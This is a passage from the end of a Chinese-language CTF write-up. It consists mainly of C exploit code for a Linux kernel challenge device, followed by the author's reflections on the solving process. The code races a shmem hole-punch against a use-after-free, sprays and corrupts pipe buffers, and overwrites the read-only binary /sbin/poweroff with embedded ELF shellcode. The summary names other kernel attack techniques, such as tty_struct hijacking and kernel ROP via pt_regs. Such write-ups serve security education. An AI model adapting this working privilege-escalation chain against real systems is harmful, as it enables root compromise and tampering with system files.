void *addr = mmap(MMAP_ADDR, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, mfd, 0);
if (addr != MMAP_ADDR) {
err_exit("mmap failed");
return 1;
}
ret = fallocate(mfd, 0, 0, shmem_sz);

if (ret == -1) {
err_exit("fallocate failed");
return 1;
}
puts("fallocate success");
void *addr2 = mmap(MMAP_ADDR + PAGE_SIZE, PAGE_SIZE * TARGET_PAGES, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr2 != MMAP_ADDR + PAGE_SIZE) {
err_exit("mmap failed");
return 1;
}
}

void trigger_punch_hole() {
char tmp;
while (!sync_s->x1)
;
info("trigger_punch_hole");
sync_s->x2 = 1;
int ret = fallocate(mfd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, 0, shmem_sz);
if(ret < 0){
err_exit("fallocate");
return;
}
}

void delete_fd(){
while (!sync_s->x3)
;

printf("[*] trigger uaf\n");

spray_pipes(0x10, MAX_PIPE_COUNT);

for (int i = 0x10; i < MAX_PIPE_COUNT; ++i) {
uint32_t k = i;
write(pipe_fd[i][1], "writesth", 8);
write(pipe_fd[i][1], &k, sizeof(uint32_t));
write(pipe_fd[i][1], &k, sizeof(uint32_t));
write(pipe_fd[i][1], &k, sizeof(uint32_t));
write(pipe_fd[i][1], "Qanux", 8);
write(pipe_fd[i][1], "Qanux", 8);
}

del();

spray_pipes(0, 0x10);

for (int i = 0; i < 0x10; ++i) {
uint32_t k = i;
write(pipe_fd[i][1], "writesth", 8);
write(pipe_fd[i][1], &k, sizeof(uint32_t));
write(pipe_fd[i][1], &k, sizeof(uint32_t));
write(pipe_fd[i][1], &k, sizeof(uint32_t));
write(pipe_fd[i][1], "Qanux", 8);
write(pipe_fd[i][1], "Qanux", 8);
}
}

void triger_vuln(){
sync_s->x1 = 1;
add();

while (!(sync_s->x2))
;
info("triger_vuln");
sync_s->x3 = 1;

if(write(fd, MMAP_ADDR, 0x1) < 0){
perror("write");
}
info("triger_done");
}

unsigned char shellcode[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0xbf, 0x2f, 0x66, 0x6c, 0x61, 0x67, 0x00, 0x00, 0x00, 0x57, 0x48,
0x89, 0xe7, 0x48, 0x31, 0xf6, 0x48, 0x31, 0xd2, 0x48, 0x83, 0xc0, 0x02,
0x0f, 0x05, 0x89, 0xc7, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc2, 0x00, 0x01,
0x00, 0x00, 0x48, 0x31, 0xc0, 0x0f, 0x05, 0xb8, 0x01, 0x00, 0x00, 0x00,
0xbf, 0x01, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x00,
};

int main(){
char data[0x200];

bind_core(0);
save_status();

fd = open("/dev/ksctf",O_RDWR);
if (fd < 0){
err_exit("open device failed!");
}

vuln.msg = (char*)malloc(0x30);
memset(vuln.msg, '\x00', 0x30);

pthread_t t1, t2, t3;
shm_id = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0666);
if (shm_id < 0) {
perror("shmget");
exit(1);
}
sync_s = (struct sync_s *)shmat(shm_id, NULL, 0);

punch_hole_prepare();
pthread_create(&t1, 0, triger_vuln, 0);
pthread_create(&t2, 0, trigger_punch_hole, 0);
pthread_create(&t3, 0, delete_fd, 0);
pthread_join(t1, NULL);
pthread_join(t2, NULL);
pthread_join(t3, NULL);

// try to find corrupted pipe_buf
printf("[*] finding corrupted page\n");
int corrupted_index = -1, pointed_index = 0;
for (int i = 0; i < MAX_PIPE_COUNT; ++i) {
already_read[i] = 1;
uint32_t k = 0;
char p_buf[0x10] = { 0 };
memset(p_buf, 0, 0x10);

read(pipe_fd[i][0], p_buf, 8);
read(pipe_fd[i][0], &k, sizeof(uint32_t));

if (k != i) {
corrupted_index = i;
pointed_index = k;
printf("[+] found %d=>%d pipe data: %p\n", i, k, *(uint64_t *)p_buf);
break;
}
usleep(1000);
}
if (corrupted_index == -1) {
printf("[-] failed to find corrupted page\n");
exit(0);
}

char *alloc_buf = (char*)malloc(0x1000);
memset(alloc_buf, 0, 0x1000);
write(pipe_fd[pointed_index][1], alloc_buf, 0x20);
close(pipe_fd[corrupted_index][0]);
close(pipe_fd[corrupted_index][1]);

int passwd_fd[0x200];
for(int i = 0; i < 0x200; i++){
passwd_fd[i] = open("/sbin/poweroff", O_RDONLY);
if(passwd_fd[i] < 0){
err_exit("open target file.");
}
}

size_t tmp = 0x480e801f;
write(pipe_fd[pointed_index][1], &tmp, 4);

for(int i = 0; i < 0x200; i++){
int retval = write(passwd_fd[i], shellcode, sizeof(shellcode));
if(retval > 0){
puts("write file success.");
break;
}
}

for(int i = 0; i < 0x200; i++){
close(passwd_fd[i]);
}

puts("[+] EXP END.");
return 0;
}

求解效果

总结

这里想分享一下我做题时的心理变化。当时我看见 uaf 直接想着用 USMA 给他秒了,所以调试都懒的调直接一口气把整个 exp 给写完,结果一运行发现内核编译时关闭了某些选项,导致无法执行:

1
unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);

也就是说无法使用 USMA,于是我就用正常点打打法去劫持 tty_struct 然后使用 work_for_cpu_fn 一把梭,结果内核直接卡在 work_for_cpu_fn 里面了,想了半天没想明白,最后发现我的 vmlinux 是来自别的题目的😇🤣,当场裂开。把所有地址替换正确也花了点时间,可是程序还是卡在 work_for_cpu_fn 里面,我觉得是我把 fake ops 写到了 tty_struct 占用了某些变量的位置造成的,于是我就用 ret2hbp 想把 fake ops 写到 db_stack 上,结果感觉又是编译时关闭了某些选项?写半天写不上去,直接心态崩了。后面有人提醒我看看能不能用 pt_regs,我看了眼偏移是固定了,于是马上在 pt_regs 上写好 kenrel rop 直接栈迁移过去,中间为了找 init_cred 的地址又不得不把 vmlinux 丢进 ida 里面慢慢找,最后成功把血给搞没了🤣

感觉自己的水平还是太低了,我还能变得更强把 :-(